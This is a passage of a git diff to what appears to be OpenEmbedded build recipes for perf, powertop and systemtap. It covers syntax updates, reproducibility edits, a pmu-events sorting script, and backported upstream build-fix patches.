+ if [ -e "${S}/tools/perf/arch/arm64/entry/syscalls/mksyscalltbl" ]; then
+ if ! grep -q input_rel ${S}/tools/perf/arch/arm64/entry/syscalls/mksyscalltbl; then
+ sed -i 's,input=$4,input=$4\ninput_rel=$5,' ${S}/tools/perf/arch/arm64/entry/syscalls/mksyscalltbl
+ fi
+ sed -i 's,#include \\"\$input\\",#include \\"\$input_rel\\",' ${S}/tools/perf/arch/arm64/entry/syscalls/mksyscalltbl
+ fi
+ # end reproducibility substitutions
+
# We need to ensure the --sysroot option in CC is preserved
if [ -e "${S}/tools/perf/Makefile.perf" ]; then
sed -i 's,CC = $(CROSS_COMPILE)gcc,#CC,' ${S}/tools/perf/Makefile.perf
sed -i 's,AR = $(CROSS_COMPILE)ar,#AR,' ${S}/tools/perf/Makefile.perf
sed -i 's,LD = $(CROSS_COMPILE)ld,#LD,' ${S}/tools/perf/Makefile.perf
+ sed -i 's,PKG_CONFIG = $(CROSS_COMPILE)pkg-config,#PKG_CONFIG,' ${S}/tools/perf/Makefile.perf
fi
if [ -e "${S}/tools/lib/api/Makefile" ]; then
sed -i 's,CC = $(CROSS_COMPILE)gcc,#CC,' ${S}/tools/lib/api/Makefile
@@ -231,6 +346,9 @@ do_configure_prepend () {
if [ -e "${S}/tools/build/Makefile.feature" ]; then
sed -i 's,CFLAGS=,CC="\$(CC)" CFLAGS=,' ${S}/tools/build/Makefile.feature
fi
+ # The libperl feature check produces fatal warnings due to -Werror being
+ # used, silence enough errors that the check passes.
+ sed -i 's/\(FLAGS_PERL_EMBED=.*\)/\1 -Wno-error=unused-function -Wno-error=attributes/' ${S}/tools/build/feature/Makefile
# 3.17-rc1+ has a include issue for arm/powerpc. Temporarily sed in the appropriate include
if [ -e "${S}/tools/perf/arch/$ARCH/util/skip-callchain-idx.c" ]; then
@@ -250,9 +368,17 @@ do_configure_prepend () {
# so we copy it from the sysroot unistd.h to the perf unistd.h
install -D -m0644 ${STAGING_INCDIR}/asm-generic/unistd.h ${S}/tools/include/uapi/asm-generic/unistd.h
install -D -m0644 ${STAGING_INCDIR}/asm-generic/unistd.h ${S}/include/uapi/asm-generic/unistd.h
+
+ # the fetcher is inhibited by the 'inherit kernelsrc', so we do a quick check and
+ # copy for a helper script we need
+ for p in $(echo ${FILESPATH} | tr ':' '\n'); do
+ if [ -e $p/sort-pmuevents.py ]; then
+ cp $p/sort-pmuevents.py ${S}
+ fi
+ done
}
-python do_package_prepend() {
+python do_package:prepend() {
d.setVar('PKGV', d.getVar("KERNEL_VERSION").split("-")[0])
}
@@ -261,25 +387,36 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
PACKAGES =+ "${PN}-archive ${PN}-tests ${PN}-perl ${PN}-python"
-RDEPENDS_${PN} += "elfutils bash"
-RDEPENDS_${PN}-archive =+ "bash"
-RDEPENDS_${PN}-python =+ "bash python3 python3-modules ${@bb.utils.contains('PACKAGECONFIG', 'audit', 'audit-python3', '', d)}"
-RDEPENDS_${PN}-perl =+ "bash perl perl-modules"
-RDEPENDS_${PN}-tests =+ "python3"
-
-RSUGGESTS_SCRIPTING = "${@bb.utils.contains('PACKAGECONFIG', 'scripting', '${PN}-perl ${PN}-python', '',d)}"
-RSUGGESTS_${PN} += "${PN}-archive ${PN}-tests ${RSUGGESTS_SCRIPTING}"
+RDEPENDS:${PN} += "elfutils bash"
+RDEPENDS:${PN}-archive =+ "bash"
+RDEPENDS:${PN}-python =+ "bash python3 python3-modules ${@bb.utils.contains('PACKAGECONFIG', 'audit', 'audit-python', '', d)}"
+RDEPENDS:${PN}-perl =+ "bash perl perl-modules"
+RDEPENDS:${PN}-tests =+ "python3 bash perl"
+RSUGGESTS:${PN} += "${PN}-archive ${PN}-tests \
+ ${@bb.utils.contains('PACKAGECONFIG', 'perl', '${PN}-perl', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'python', '${PN}-python', '', d)} \
+ "
FILES_SOLIBSDEV = ""
-FILES_${PN} += "${libexecdir}/perf-core ${exec_prefix}/libexec/perf-core ${libdir}/traceevent ${libdir}/libperf-jvmti.so"
-FILES_${PN}-archive = "${libdir}/perf/perf-core/perf-archive"
-FILES_${PN}-tests = "${libdir}/perf/perf-core/tests ${libexecdir}/perf-core/tests"
-FILES_${PN}-python = " \
+FILES:${PN} += "${libexecdir}/perf-core ${exec_prefix}/libexec/perf-core ${libdir}/traceevent* ${libdir}/libperf-jvmti.so"
+FILES:${PN}-archive = "${libdir}/perf/perf-core/perf-archive"
+FILES:${PN}-tests = "${libdir}/perf/perf-core/tests ${libexecdir}/perf-core/tests"
+FILES:${PN}-python = " \
${PYTHON_SITEPACKAGES_DIR} \
${libexecdir}/perf-core/scripts/python \
"
-FILES_${PN}-perl = "${libexecdir}/perf-core/scripts/perl"
+FILES:${PN}-perl = "${libexecdir}/perf-core/scripts/perl"
+DEBUG_OPTIMIZATION:append = " -Wno-error=maybe-uninitialized"
-INHIBIT_PACKAGE_DEBUG_SPLIT="1"
-DEBUG_OPTIMIZATION_append = " -Wno-error=maybe-uninitialized"
+PACKAGESPLITFUNCS =+ "perf_fix_sources"
+
+perf_fix_sources () {
+ for f in util/parse-events-flex.h util/parse-events-flex.c util/pmu-flex.c \
+ util/pmu-flex.h util/expr-flex.h util/expr-flex.c; do
+ f=${PKGD}${TARGET_DBGSRC_DIR}/$f
+ if [ -e $f ]; then
+ sed -i -e 's#${S}/##g' $f
+ fi
+ done
+}
diff --git a/meta/recipes-kernel/perf/perf/sort-pmuevents.py b/meta/recipes-kernel/perf/perf/sort-pmuevents.py
new file mode 100755
index 0000000000..0a87e553ab
--- /dev/null
+++ b/meta/recipes-kernel/perf/perf/sort-pmuevents.py
@@ -0,0 +1,100 @@
+#!/usr/bin/env python3
+
+# perf pmu-events sorting tool
+#
+# Copyright (C) 2021 Bruce Ashfield
+#
+# SPDX-License-Identifier: MIT
+#
+
+import sys
+import os
+import re
+from collections import OrderedDict
+
+if len(sys.argv) < 2:
+ print( "[ERROR]: input and output pmu files missing" )
+ sys.exit(1)
+
+if len(sys.argv) < 3:
+ print( "[ERROR]: output pmu file missing" )
+ sys.exit(1)
+
+infile = sys.argv[1]
+outfile = sys.argv[2]
+
+if not os.path.exists(infile):
+ print( "ERROR. input file does not exist: %s" % infile )
+ sys.exit(1)
+
+if os.path.exists(outfile):
+ print( "WARNING. output file will be overwritten: %s" % infile )
+
+with open(infile, 'r') as file:
+ data = file.read()
+
+preamble_regex = re.compile( '^(.*?)^(struct|const struct|static struct|static const struct)', re.MULTILINE | re.DOTALL )
+
+preamble = re.search( preamble_regex, data )
+struct_block_regex = re.compile(r'^(struct|const struct|static struct|static const struct).*?(\w+) (.*?)\[\] = {(.*?)^};', re.MULTILINE | re.DOTALL )
+field_regex = re.compile(r'{.*?},', re.MULTILINE | re.DOTALL )
+cpuid_regex = re.compile(r'\.cpuid = (.*?),', re.MULTILINE | re.DOTALL )
+name_regex = re.compile(r'\.name = (.*?),', re.MULTILINE | re.DOTALL )
+
+# create a dictionary structure to store all the structs, their
+# types and then their fields.
+entry_dict = {}
+for struct in re.findall( struct_block_regex, data ):
+ # print( "struct: %s %s %s" % (struct[0],struct[1],struct[2]) )
+ entry_dict[struct[2]] = {}
+ entry_dict[struct[2]]['type_prefix'] = struct[0]
+ entry_dict[struct[2]]['type'] = struct[1]
+ entry_dict[struct[2]]['fields'] = {}
+ for entry in re.findall( field_regex, struct[3] ):
+ #print( " entry: %s" % entry )
+ cpuid = re.search( cpuid_regex, entry )
+ if cpuid:
+ #print( " cpuid found: %s" % cpuid.group(1) )
+ entry_dict[struct[2]]['fields'][cpuid.group(1)] = entry
+
+ name = re.search( name_regex, entry )
+ if name:
+ #print( " name found: %s" % name.group(1) )
+ entry_dict[struct[2]]['fields'][name.group(1)] = entry
+
+ # unmatched entries are most likely array terminators and
+ # should end up as the last element in the sorted list, which
+ # is achieved by using '0' as the key
+ if not cpuid and not name:
+ entry_dict[struct[2]]['fields']['0'] = entry
+
+# created ordered dictionaries from the captured values. These are ordered by
+# a sorted() iteration of the keys. We don't care about the order we read
+# things, just the sorted order. Hency why we couldn't create these during
+# reading.
+#
+# yes, there's a more concise way to do this, but our nested dictionaries of
+# fields make it complex enough that it becomes unreadable.
+entry_dict_sorted = OrderedDict()
+for i in sorted(entry_dict.keys()):
+ entry_dict_sorted[i] = {}
+ entry_dict_sorted[i]['type_prefix'] = entry_dict[i]['type_prefix']
+ entry_dict_sorted[i]['type'] = entry_dict[i]['type']
+ entry_dict_sorted[i]['fields'] = {}
+ for f in sorted(entry_dict[i]['fields'].keys()):
+ entry_dict_sorted[i]['fields'][f] = entry_dict[i]['fields'][f]
+
+# dump the sorted elements to the outfile
+outf = open( outfile, 'w' )
+
+print( preamble.group(1) )
+outf.write( preamble.group(1) )
+for d in entry_dict_sorted:
+ outf.write( "%s %s %s[] = {\n" % (entry_dict_sorted[d]['type_prefix'], entry_dict_sorted[d]['type'],d) )
+ for f in entry_dict_sorted[d]['fields']:
+ outf.write( entry_dict_sorted[d]['fields'][f] + '\n' )
+
+ outf.write( "};\n" )
+
+outf.close()
+
diff --git a/meta/recipes-kernel/powertop/powertop_2.13.bb b/meta/recipes-kernel/powertop/powertop_2.13.bb
deleted file mode 100644
index 8c7e78fd94..0000000000
--- a/meta/recipes-kernel/powertop/powertop_2.13.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Power usage tool"
-DESCRIPTION = "Linux tool to diagnose issues with power consumption and power management."
-HOMEPAGE = "https://01.org/powertop/"
-BUGTRACKER = "https://app.devzing.com/powertopbugs/bugzilla"
-DEPENDS = "ncurses libnl pciutils autoconf-archive"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e"
-
-SRC_URI = "git://github.com/fenrus75/powertop;protocol=https \
- file://0001-wakeup_xxx.h-include-limits.h.patch \
-"
-SRCREV = "184cee06b2d64679bae5f806fe0a218827fdde99"
-
-S = "${WORKDIR}/git"
-
-inherit autotools gettext pkgconfig bash-completion
-
-# we do not want libncursesw if we can
-do_configure_prepend() {
- # configure.ac checks for delwin() in "ncursesw ncurses" so let's drop first one
- sed -i -e "s/ncursesw//g" ${S}/configure.ac
- mkdir -p ${B}/src/tuning/
- echo "${PV}" > ${S}/version-long
- echo "${PV}" > ${S}/version-short
- cp ${STAGING_DATADIR}/aclocal/ax_require_defined.m4 ${S}/m4/
-}
-
-inherit update-alternatives
-ALTERNATIVE_${PN} = "powertop"
-ALTERNATIVE_TARGET[powertop] = "${sbindir}/powertop"
-ALTERNATIVE_LINK_NAME[powertop] = "${sbindir}/powertop"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-kernel/powertop/powertop_2.15.bb b/meta/recipes-kernel/powertop/powertop_2.15.bb
new file mode 100644
index 0000000000..65c6d0fcd3
--- /dev/null
+++ b/meta/recipes-kernel/powertop/powertop_2.15.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Power usage tool"
+DESCRIPTION = "Linux tool to diagnose issues with power consumption and power management."
+HOMEPAGE = "https://01.org/powertop/"
+BUGTRACKER = "https://app.devzing.com/powertopbugs/bugzilla"
+DEPENDS = "ncurses libnl pciutils autoconf-archive-native"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e"
+
+SRC_URI = "git://github.com/fenrus75/powertop;protocol=https;branch=master \
+ file://0001-wakeup_xxx.h-include-limits.h.patch \
+ "
+SRCREV = "d51ad395436d4d1dcc3ca46e1519ffeb475bf651"
+
+S = "${WORKDIR}/git"
+
+LDFLAGS:append = " -pthread"
+
+inherit autotools gettext pkgconfig bash-completion
+
+inherit update-alternatives
+ALTERNATIVE:${PN} = "powertop"
+ALTERNATIVE_TARGET[powertop] = "${sbindir}/powertop"
+ALTERNATIVE_LINK_NAME[powertop] = "${sbindir}/powertop"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-kernel/systemtap/systemtap-native_git.bb b/meta/recipes-kernel/systemtap/systemtap-native_git.bb
index 19cc1cf0f0..2690b259c8 100644
--- a/meta/recipes-kernel/systemtap/systemtap-native_git.bb
+++ b/meta/recipes-kernel/systemtap/systemtap-native_git.bb
@@ -1,6 +1,6 @@
require systemtap_git.bb
-inherit native
+inherit_defer native
addtask addto_recipe_sysroot after do_populate_sysroot before do_build
diff --git a/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb b/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb
deleted file mode 100644
index 46820ef489..0000000000
--- a/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "UProbes kernel module for SystemTap"
-
-require systemtap_git.inc
-
-DEPENDS = "systemtap virtual/kernel"
-
-# On systems without CONFIG_UTRACE, this package is empty.
-ALLOW_EMPTY_${PN} = "1"
-
-inherit module-base gettext
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemtap:"
-
-FILES_${PN} += "${datadir}/systemtap/runtime/uprobes"
-
-# Compile and install the uprobes kernel module on machines with utrace
-# support. Note that staprun expects it in the systemtap/runtime directory,
-# not in /lib/modules.
-do_compile() {
- if grep -q "CONFIG_UTRACE=y" ${STAGING_KERNEL_BUILDDIR}/.config
- then
- unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS CC LD CPP
- oe_runmake CC="${KERNEL_CC}" LD="${KERNEL_LD}" \
- AR="${KERNEL_AR}" \
- -C ${STAGING_KERNEL_DIR} scripts
- oe_runmake KDIR=${STAGING_KERNEL_DIR} \
- M="${S}/runtime/uprobes/" \
- CC="${KERNEL_CC}" LD="${KERNEL_LD}" \
- AR="${KERNEL_AR}" \
- -C "${S}/runtime/uprobes/"
- fi
-}
-
-do_install() {
- if [ -e "${S}/runtime/uprobes/uprobes.ko" ]
- then
- install -d ${D}${datadir}/systemtap/runtime/uprobes/
- install -m 0644 ${S}/runtime/uprobes/uprobes.ko ${D}${datadir}/systemtap/runtime/uprobes/
- fi
-}
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-Makefile.am-remove-runtime-linux-uprobes-and-runtime.patch b/meta/recipes-kernel/systemtap/systemtap/0001-Makefile.am-remove-runtime-linux-uprobes-and-runtime.patch
new file mode 100644
index 0000000000..2d46a3962d
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-Makefile.am-remove-runtime-linux-uprobes-and-runtime.patch
@@ -0,0 +1,40 @@
+From 5a01e28bd806326b2143e3e6bb28d4780c5d879d Mon Sep 17 00:00:00 2001
+From: Victor Kamensky <victor.kamensky7@gmail.com>
+Date: Sun, 3 Dec 2023 18:40:05 -0800
+Subject: [PATCH] Makefile.am: remove runtime/linux/uprobes and
+ runtime/linux/uprobes2 install
+
+"PR30434 continuation: Removed old uprobes, uprobes2 implementation,
+uprobes-inc.h & any mentions of CONFIG_UTRACE." commit removed uprobes,
+and uprobes2 sources and directories, but Makefile.am still tries to
+install them. In fact after failing to 'cd' into runtime/linux/uprobes
+directory it copies top level *.[ch] files into
+${prefix}/share/systemtap/runtime/linux/uprobes directory.
+
+The issue was caught by OpenEmbedded project do_package_qa checks.
+
+Signed-off-by: Victor Kamensky <victor.kamensky7@gmail.com>
+
+Upstream-Status: Submitted [https://sourceware.org/pipermail/systemtap/2023q4/027880.html]
+---
+ Makefile.am | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 5737c6b20..2ba896088 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -277,10 +277,6 @@ endif
+ do $(INSTALL_DATA) -D $$f $(DESTDIR)$(pkgdatadir)/runtime/softfloat/$$f; done)
+ (cd $(srcdir)/runtime/linux; for f in *.[ch]; \
+ do $(INSTALL_DATA) -D $$f $(DESTDIR)$(pkgdatadir)/runtime/linux/$$f; done)
+- (cd $(srcdir)/runtime/linux/uprobes; for f in Makefile *.[ch]; \
+- do $(INSTALL_DATA) -D $$f $(DESTDIR)$(pkgdatadir)/runtime/linux/uprobes/$$f; done)
+- (cd $(srcdir)/runtime/linux/uprobes2; for f in *.[ch]; \
+- do $(INSTALL_DATA) -D $$f $(DESTDIR)$(pkgdatadir)/runtime/linux/uprobes2/$$f; done)
+ (cd $(srcdir)/tapset; find . \( -name '*.stp' -o -name '*.stpm' -o -name README \) -print \
+ | while read f; do $(INSTALL_DATA) -D $$f $(DESTDIR)$(pkgdatadir)/tapset/$$f; done)
+ (cd $(srcdir)/testsuite/systemtap.examples; find . -type f -print \
+--
+2.31.1
+
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-bpf-translate.cxx-fix-build-against-upcoming-gcc-14-.patch b/meta/recipes-kernel/systemtap/systemtap/0001-bpf-translate.cxx-fix-build-against-upcoming-gcc-14-.patch
new file mode 100644
index 0000000000..e3d94d9312
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-bpf-translate.cxx-fix-build-against-upcoming-gcc-14-.patch
@@ -0,0 +1,40 @@
+From d42139cf9cd26d0c0363fcfe007716baeb8de517 Mon Sep 17 00:00:00 2001
+From: Sergei Trofimovich <slyich@gmail.com>
+Date: Fri, 22 Dec 2023 19:42:38 +0000
+Subject: [PATCH] bpf-translate.cxx: fix build against upcoming `gcc-14`
+ (`-Werror=calloc-transposed-args`)
+
+`gcc-14` added a new `-Wcalloc-transposed-args` warning recently. It
+detected minor infelicity in `calloc()` API usage in `systemtap`:
+
+ bpf-translate.cxx: In function 'bpf::BPF_Section* bpf::output_probe(BPF_Output&, program&, const std::string&, unsigned int)':
+ bpf-translate.cxx:5044:39: error: 'void* calloc(size_t, size_t)' sizes specified with 'sizeof' in the earlier argument and not in the later argument [-Werror=calloc-transposed-args]
+ 5044 | bpf_insn *buf = (bpf_insn*) calloc (sizeof(bpf_insn), ninsns);
+ | ^~~~~~~~~~~~~~~~
+ bpf-translate.cxx:5044:39: note: earlier argument should specify number of elements, later size of each element
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=systemtap.git;a=commit;h=d42139cf9cd26d0c0363fcfe007716baeb8de517]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ bpf-translate.cxx | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/bpf-translate.cxx b/bpf-translate.cxx
+index 1a9302463..aa8ef65ce 100644
+--- a/bpf-translate.cxx
++++ b/bpf-translate.cxx
+@@ -5041,9 +5041,9 @@ output_probe(BPF_Output &eo, program &prog,
+ }
+ }
+
+- bpf_insn *buf = (bpf_insn*) calloc (sizeof(bpf_insn), ninsns);
++ bpf_insn *buf = (bpf_insn*) calloc (ninsns, sizeof(bpf_insn));
+ assert (buf);
+- Elf64_Rel *rel = (Elf64_Rel*) calloc (sizeof(Elf64_Rel), nreloc);
++ Elf64_Rel *rel = (Elf64_Rel*) calloc (nreloc, sizeof(Elf64_Rel));
+ assert (rel);
+
+ unsigned i = 0, r = 0;
+--
+2.43.0
+
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-configure.ac-fix-broken-libdebuginfod-library-auto-d.patch b/meta/recipes-kernel/systemtap/systemtap/0001-configure.ac-fix-broken-libdebuginfod-library-auto-d.patch
new file mode 100644
index 0000000000..98641826f6
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-configure.ac-fix-broken-libdebuginfod-library-auto-d.patch
@@ -0,0 +1,51 @@
+From 3913ad3e28a19811e1b52338112344a487057e4f Mon Sep 17 00:00:00 2001
+From: Victor Kamensky <victor.kamensky7@gmail.com>
+Date: Mon, 18 Dec 2023 03:13:38 +0000
+Subject: [PATCH 1/2] configure.ac: fix broken libdebuginfod library auto
+ detection
+
+After 2e67b053e3796ee7cf29a39f9698729b52078406 "configury: rework debuginfod searches"
+commit, libdebuginfod.so library auto detection is broken. It was reported by Martin Jansa
+on openembedded-core mailing list [1].
+
+Currently configure.ac does "AC_DEFINE([HAVE_LIBDEBUGINFOD], [1] ..." as long as
+no --without-debuginfod option is passed, regardless PKG_CHECK_MODULES check result.
+It seems to be bad copy/paste. Address the issue by moving the AC_DEFINE back to
+PKG_CHECK_MODULES action-if-found block.
+
+To reproduce the issue on FC system, one can do the following
+"sudo dnf remove elfutils-debuginfod-client-devel" and then try to build SystemTap
+util.cxx will fail to compile because of missing elfutils/debuginfod.h because
+config.h will have "#define HAVE_LIBDEBUGINFOD 1", while config.log and configure
+output indicates that check for libdebuginfod library failed.
+
+[1] https://lists.openembedded.org/g/openembedded-core/message/192109?p=%2C%2C%2C20%2C0%2C0%2C0%3A%3Acreated%2C0%2Csystemtap%2C20%2C2%2C0%2C102987514
+
+Upstream-Status: Submitted [https://sourceware.org/pipermail/systemtap/2023q4/027914.html]
+Signed-off-by: Victor Kamensky <victor.kamensky7@gmail.com>
+---
+ configure.ac | 5 ++---
+ 1 file changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index d9559c5c3..18cd7f84a 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -219,12 +219,11 @@ dnl take the user at his or her word
+ elif test "x$with_debuginfod" != xno; then
+ dnl check in the system pkgconfig
+ PKG_CHECK_MODULES([debuginfod], [libdebuginfod >= 0.179],
+- [have_debuginfod=1],
++ [have_debuginfod=1
++ AC_DEFINE([HAVE_LIBDEBUGINFOD], [1], [Define to 1 if debuginfod is enabled.])],
+ [if test "x$with_debuginfod" = xyes; then
+ AC_MSG_ERROR(["--with-debuginfod was given, but libdebuginfod is missing or unusable."])
+ fi])
+- AC_DEFINE([HAVE_LIBDEBUGINFOD], [1], [Define to 1 if debuginfod is enabled.])
+- AC_MSG_RESULT([yes])
+ else
+ AC_MSG_RESULT([no])
+ fi
+--
+2.31.1
+
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-prerelease-datestamp-fixes.patch b/meta/recipes-kernel/systemtap/systemtap/0001-prerelease-datestamp-fixes.patch
new file mode 100644
index 0000000000..afdc10a3fe
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-prerelease-datestamp-fixes.patch
@@ -0,0 +1,23 @@
+From cfc2c1d53924face11e3fab78ded61c359778eb9 Mon Sep 17 00:00:00 2001
+From: "Frank Ch. Eigler" <fche@redhat.com>
+Date: Sat, 4 Nov 2023 12:19:59 -0400
+Subject: [PATCH] prerelease datestamp fixes
+
+Upstream-Status: Backport
+---
+ NEWS | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/NEWS b/NEWS
+index c7f31e8b7..f0f9056c4 100644
+--- a/NEWS
++++ b/NEWS
+@@ -1,4 +1,4 @@
+-* What's new in version 5.0, 2023-11-03
++* What's new in version 5.0, 2023-11-04
+
+ - Performance improvements in uprobe registration and module startup.
+
+--
+2.31.1
+
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch b/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch
new file mode 100644
index 0000000000..1decf21593
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch
@@ -0,0 +1,61 @@
+From 191f528da19193d713d94ee252e2485efd9af4d3 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 17:59:24 +0200
+Subject: [PATCH] staprun: address ncurses 6.3 failures
+
+Upstream-Status: Submitted [by email to smakarov@redhat.com,systemtap@sourceware.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ staprun/monitor.c | 24 ++++++++++++------------
+ 1 file changed, 12 insertions(+), 12 deletions(-)
+
+diff --git a/staprun/monitor.c b/staprun/monitor.c
+index 478634c09..f4fbfd686 100644
+--- a/staprun/monitor.c
++++ b/staprun/monitor.c
+@@ -448,12 +448,12 @@ void monitor_render(void)
+ if (active_window == 0)
+ wattron(status, A_BOLD);
+ wprintw(status, "\n%*s\t%*s\t%*s\t%*s\t%*s\t%*s\t%s\n",
+- width[p_index], HIGHLIGHT("index", p_index, comp_fn_index),
+- width[p_state], HIGHLIGHT("state", p_state, comp_fn_index),
+- width[p_hits], HIGHLIGHT("hits", p_hits, comp_fn_index),
+- width[p_min], HIGHLIGHT("min", p_min, comp_fn_index),
+- width[p_avg], HIGHLIGHT("avg", p_avg, comp_fn_index),
+- width[p_max], HIGHLIGHT("max", p_max, comp_fn_index),
++ (int)width[p_index], HIGHLIGHT("index", p_index, comp_fn_index),
++ (int)width[p_state], HIGHLIGHT("state", p_state, comp_fn_index),
++ (int)width[p_hits], HIGHLIGHT("hits", p_hits, comp_fn_index),
++ (int)width[p_min], HIGHLIGHT("min", p_min, comp_fn_index),
++ (int)width[p_avg], HIGHLIGHT("avg", p_avg, comp_fn_index),
++ (int)width[p_max], HIGHLIGHT("max", p_max, comp_fn_index),
+ HIGHLIGHT("name", p_name, comp_fn_index));
+ if (active_window == 0)
+ wattroff(status, A_BOLD);
+@@ -466,17 +466,17 @@ void monitor_render(void)
+ json_object *probe, *field;
+ probe = json_object_array_get_idx(jso_probe_list, i);
+ json_object_object_get_ex(probe, "index", &field);
+- wprintw(status, "%*s\t", width[p_index], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_index], json_object_get_string(field));
+ json_object_object_get_ex(probe, "state", &field);
+- wprintw(status, "%*s\t", width[p_state], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_state], json_object_get_string(field));
+ json_object_object_get_ex(probe, "hits", &field);
+- wprintw(status, "%*s\t", width[p_hits], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_hits], json_object_get_string(field));
+ json_object_object_get_ex(probe, "min", &field);
+- wprintw(status, "%*s\t", width[p_min], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_min], json_object_get_string(field));
+ json_object_object_get_ex(probe, "avg", &field);
+- wprintw(status, "%*s\t", width[p_avg], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_avg], json_object_get_string(field));
+ json_object_object_get_ex(probe, "max", &field);
+- wprintw(status, "%*s\t", width[p_max], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_max], json_object_get_string(field));
+ getyx(status, discard, cur_x);
+ json_object_object_get_ex(probe, "name", &field);
+ wprintw(status, "%.*s", max_cols-cur_x-1, json_object_get_string(field));
+--
+2.20.1
+
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-staprun-fix-build-against-upcoming-gcc-14-Werror-cal.patch b/meta/recipes-kernel/systemtap/systemtap/0001-staprun-fix-build-against-upcoming-gcc-14-Werror-cal.patch
new file mode 100644
index 0000000000..22578fb3f6
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-staprun-fix-build-against-upcoming-gcc-14-Werror-cal.patch
@@ -0,0 +1,36 @@
+From 52596f023652114642faba5726c99488529029ce Mon Sep 17 00:00:00 2001
+From: Sergei Trofimovich <slyich@gmail.com>
+Date: Thu, 21 Dec 2023 10:00:06 +0000
+Subject: [PATCH] staprun: fix build against upcoming `gcc-14`
+ (`-Werror=calloc-transposed-args`)
+
+`gcc-14` added a new `-Wcalloc-transposed-args` warning recently. It
+detected minor infelicity in `calloc()` API usage in `systemtap`:
+
+ staprun.c: In function 'main':
+ staprun.c:550:50: error: 'calloc' sizes specified with 'sizeof' in the earlier argument and not in the later argument [-Werror=calloc-transposed-args]
+ 550 | char ** new_argv = calloc(sizeof(char *),argc+2);
+ | ^~~~
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=systemtap.git;a=commit;h=52596f023652114642faba5726c99488529029ce]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ staprun/staprun.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/staprun/staprun.c b/staprun/staprun.c
+index 8437f3af6..d1b0b221b 100644
+--- a/staprun/staprun.c
++++ b/staprun/staprun.c
+@@ -547,7 +547,7 @@ int main(int argc, char **argv)
+ us to extend argv[], with all the C fun that entails. */
+ #ifdef HAVE_OPENAT
+ if (relay_basedir_fd >= 0) {
+- char ** new_argv = calloc(sizeof(char *),argc+2);
++ char ** new_argv = calloc(argc+2, sizeof(char *));
+ const int new_Foption_size = 10; /* -FNNNNN */
+ char * new_Foption = malloc(new_Foption_size);
+ int i;
+--
+2.43.0
+
diff --git a/meta/recipes-kernel/systemtap/systemtap_git.bb b/meta/recipes-kernel/systemtap/systemtap_git.bb
index 1c9f2aed16..68f5c76428 100644
--- a/meta/recipes-kernel/systemtap/systemtap_git.bb
+++ b/meta/recipes-kernel/systemtap/systemtap_git.bb
@@ -1,9 +1,15 @@
SUMMARY = "Script-directed dynamic tracing and performance analysis tool for Linux"
+DESCRIPTION = "It provides free software infrastructure to simplify the \
+gathering of information about the running Linux system. This assists \
+diagnosis of a performance or functional problem."
HOMEPAGE = "https://sourceware.org/systemtap/"
require systemtap_git.inc
-SRC_URI += "file://0001-improve-reproducibility-for-c-compiling.patch"
+SRC_URI += " \
+ file://0001-improve-reproducibility-for-c-compiling.patch \
+ file://0001-staprun-address-ncurses-6.3-failures.patch \
+ "
DEPENDS = "elfutils"
@@ -18,40 +24,69 @@ STAP_DOCS ?= "--disable-docs --disable-publican --disable-refdocs"
EXTRA_OECONF += "${STAP_DOCS} "
-PACKAGECONFIG ??= "translator sqlite monitor python3-probes"
-PACKAGECONFIG[translator] = "--enable-translator,--disable-translator,boost,python3-core bash perl"
